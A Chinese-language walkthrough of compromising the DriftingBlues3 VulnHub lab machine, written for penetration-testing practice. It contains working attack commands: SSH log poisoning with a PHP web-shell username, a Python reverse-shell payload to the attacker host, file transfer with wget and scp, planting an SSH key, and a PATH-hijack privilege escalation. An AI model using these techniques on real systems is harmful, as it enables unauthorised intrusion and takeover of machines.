Driftingblues3靶机渗透

  • Driftingblues3靶机渗透已关闭评论
  • 29 views
  • A+

Driftingblues3靶机练习

网络结构:

环境搭建平台为VMware15,使用VirtualBox亦可,网络为nat模式,网段192.168.1.0/24

网络由攻击机kali、靶机组成

靶机ip:192.168.1.146

kali linux ip:192.168.1.137

靶机获取:https://www.vulnhub.com/entry/driftingblues-3,656/

信息收集:

主机发现:

nmap -sP 192.168.1.0/24

如图,图中192.168.1.1为VMnet8网卡地址,1.3为网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.146

image20210316210544464.png

端口扫描:

nmap -p 1-65535 -A 192.168.1.146 -sV -T4

如图,靶机开放了80端口http服务和22端口ssh服务

image20210316211311838.png

访问主机的80端口,可以看到web主页,并没有什么特殊的跳转地址

image20210317083458981.png

目录爆破:

使用dirb进行目录遍历:

dirb "http://192.168.1.146" /usr/share/dirb/wordlists/big.txt

image20210316211528791.png

依次访问后,并没有发现什么特别的页面,包括/phpmyadmin页面,并非数据库管理页面,只是一个静态页面

image20210317083520026.png

同时使用dirsearch对目标主机进行遍历,补充爆破结果,但遍历后结果类似

python dirsearch.py -u 192.168.1.146

image20210317083946671.png

尝试访问主机的robots.txt,给出了一个/eventadmins目录

image20210317084301773.png

访问,是一个静态页面

image20210317084459443.png

但查看页面源码时,给出了一个页面/littlequeenofspades.html,访问看看,同样是一个静态页面

image20210317084628805.png

再次查看页面源代码,这次给了一串base64加密的密文

image20210317084727685.png

两次解密后,得到一个php页面

image20210317084908374.png

访问测试,看到此页面为一个ssh访问日志

image20210317085039128.png

漏洞挖掘:

在日志中可以看到,即便是访问失败的用户,日志也同样会记录下用户名等信息,这里使用一个abcdef用户进行测试

image20210317090855736.png

如图,用户名已被记录

image20210317091005763.png

既然日志会完全记录ssh登录用户名,又没有对用户名进行限制,这里我们可以利用日志进行反弹shell

ssh '<?php system($_GET['cmd']);?>'@192.168.1.146

image20210317091211412.png

带入参数进行测试,如图,构造的命令已经成功带入进日志

image20210317091533454.png

这里只需要再构造一个反弹shell的payload,首先kali监听端口

image20210317092417228.png

web端注入payload

export RHOST="192.168.1.137";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

反弹成功

image20210317092533977.png

权限提升:

首先获取一个交互shell

python -c "import pty;pty.spawn('/bin/bash');"

image20210317105856383.png

用LinEnum获取一下本地信息,LinEnum.sh是一个本地信息收集脚本,可以收集包括服务、内核版本、suid文件等各种信息

本地搭建http服务器,将要传输的文件放置在此目录

python3 -m http.server 8001

image20210317153300497.png

靶机端下载此文件

wget http://192.168.1.137:8000/LinEnum.sh

运行脚本

image20210317154140650.png

将运行结果移出来

scp 1.txt [email protected]:/root/1.txt

image20210317154553787.png

收集结果中可以看到,在设置了suid的文件中,除了部分系统命令,还有一个getinfo文件,很显然为自创文件

image20210317173141150.png

但我们现在的www用户并没有此文件的任何权限,想利用这个文件,还需要切换其他用户,在收集结果中同样可以看到,passwd文件我们是有读权限的,看下用户

image20210317173428066.png

如上图,robertj用户是/bin/bash,允许登录的

靶机的web服务很有限,且在做信息收集的过程中并没有看到什么类似配置文件的线索,系统版本也很高,三个月前刚刚发布,没有发现什么可利用的内核漏洞,只能从ssh入手了

查看ssh配置文件,/etc/ssh/sshd_config,如下图PubkeyAuthentication选项参数值为yes,打开这个功能,表示ssh允许公钥登录,下面也给出了公钥文件的存放目录

image20210317174001850.png

我们先在kali端用ssh-keygen生成公私钥对

image20210317174409706.png

image20210317174550520.png

之后再搭建一次http服务,将这个文件下载到靶机

wget http://192.168.1.137:8001/robertj.pub

image20210317174743357.png

修改文件名为authorized_keys,并复制到指定目录

image20210317174823257.png

使用ssh,以robertj用户身份登录

ssh -i robertj [email protected]

登录成功,查看一下robertj家目录下的flag文件,无误

image20210317174956357.png

此时可以运行之前我们看到的那个getinfo文件

image20210317175224017.png

可以看到,执行命令后,给我们返回了系统的网络信息、版本信息、以及中间这个,大概是靶机的hosts文件,猜测是调用了ifconfig、cat hosts、和uname命令

这里既然调用了系统命令,那么我们可以自行编写一个同名文件,比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权

首先编写一个cat文件,内容为/bin/bash即可,然后添加当前文件添加到环境变量中

export PATH=/home/robertj:$PATH

image20210317185204792.png

添加权限

image20210317190252445.png

再次运行getinfo,提权成功

image20210317190456871.png

查看flag

image20210317190530947.png